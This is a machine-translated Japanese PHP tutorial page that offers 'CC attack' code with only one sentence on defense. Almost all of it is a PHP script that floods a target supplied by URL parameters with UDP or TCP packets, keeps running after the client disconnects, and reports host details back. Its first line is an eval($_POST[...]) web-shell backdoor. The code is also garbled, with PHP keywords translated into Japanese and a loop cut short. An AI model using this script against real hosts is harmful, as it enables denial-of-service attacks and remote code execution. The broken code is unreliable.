ホームページ  >  記事  >  バックエンド開発  >  PHP cc 攻撃コードと防御方法_PHP チュートリアル

PHP cc 攻撃コードと防御方法_PHP チュートリアル

WBOY
WBOYオリジナル
2016-07-21 15:14:461158ブラウズ

cc攻击代码,サポートudp

复制代码代码如下:

eval($_POST[Chr(90)]);
set_time_limit(86400);
ignore_user_abort(True);
$パケット = 0;
$http = $_GET['http'];
$rand = $_GET['終了'];
$exec_time = $_GET['time'];
if (StrLen($http)==0 または StrLen($rand)==0 または StrLen($exec_time)==0)
{
if(StrLen($_GET['rat'])<>0 )
{
echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER ['SERVER_SOFTWARE'].$_GET['rat'];
終了;
}
エコー「PHP 2012 ターミネーター」;
終了;
}
for($i=0;$i{
$out .= "X";
}
//Udp1-fsockopen Udp2 pfsockopen Tcp3 CC.center
$max_time = time()+$exec_time;
if($rand==53)
while(1)
{
$packets++;
if(time() > $max_time)
{
break;
}
$fp = fsockopen("udp://$http", $rand, $errno, $errstr, 5);
if($fp)
{
fwrite($fp, $out);
fclose($fp);
}
}
else
if($rand==500)
while(1)
{
$packets++;
if(time() > $max_time){
break;
}
$fp = pfsockopen("udp://$http", $rand, $errno, $errstr, 5);
if($fp)
{
fwrite($fp, $out);
fclose($fp);
}
}
else
while(1)
{
$packets++;
if(time() > $max_time){
break;
}
$fp = pfsockopen("tcp://$http", $rand, $errno, $errstr, 5);
if($fp)
{
fwrite($fp, $out);
fclose($fp);
}
}
?>

CC 攻撃の防御については、活動的な場合は時間を判断できますが、静的な Web サイトの場合は、サーバーに CC 攻撃を防御するためのソフトウェアをインストールする必要があり、一般的なサーバーの安全保護も万全です。你良いソフトウェアも私に残しておくことができます。


http://www.bkjia.com/PHPjc/326206.html

www.bkjia.comtru​​ehttp://www.bkjia.com/PHPjc/326206.html技術記事 cc攻击代码,サポートudp复制代码代码如下: ?php eval($_POST[Chr(90)]); set_time_limit(86400); ignore_user_abort(True); $パケット = 0; $http = $_GET['http']; $rand = $_GET[...
声明:
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。